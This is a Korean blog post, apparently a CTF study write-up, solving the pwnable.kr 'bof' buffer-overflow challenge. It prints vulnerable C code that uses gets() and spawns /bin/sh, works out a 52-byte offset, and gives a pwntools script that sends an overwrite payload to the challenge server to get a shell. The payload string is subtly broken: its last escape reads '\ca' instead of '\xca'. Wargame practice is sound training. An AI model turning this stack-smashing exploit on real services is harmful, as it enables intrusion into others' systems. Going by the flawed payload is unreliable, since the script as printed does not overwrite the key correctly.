pwnable.kr bof write up

CTF 중점 스터디

2019. 12. 15. 22:14

주어진 c파일을 먼저 확인해보자

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

대충 gets 함수를 사용하고 있으니 bof 시키라는 것 같다.

이제 실행파일을 받아 실행해보자.

이제 gdb를 이용해 분석을 해보자.

C코드에서 가장 먼저 시작하는 func 함수부터 살펴보자.

여기서 우리는 bof를 시킬 수 있는 gets 함수의 인자를 찾아봐야한다.

<+29> 코드를 보면 [ebp-0x2c] 부분의 주소를 eax에 넣어주고,

<+32> 코드에서 esp가 가르키는 부분에 eax를 넣어주게되니

[ebp-0x2c] 부분에 gets 함수가 있음을 알 수 있다.

44 byte 에다가 SFP와 RET의 용량까지 합쳐 총 52 byte 공간을 매꿔주면 된다.

pwntools 스크립트를 짜보자.

from pwn import *
p = remote("pwnable.kr",9000)
payload = "A"*52 + "\xbe\xba\xfe\ca"
p.sendline(payload)
p.interactive()

 

'CTF 중점 스터디' 카테고리의 다른 글

Wargame.kr_type confusion_Write up  (0) 2019.12.21
Pwnable.kr cmd1 Write-up  (0) 2019.12.20
N00bCTF Compare Write-up  (0) 2019.12.14
Protostar heap1 Writeup  (0) 2019.12.09
Pwnable.kr asm Write-up  (0) 2019.12.08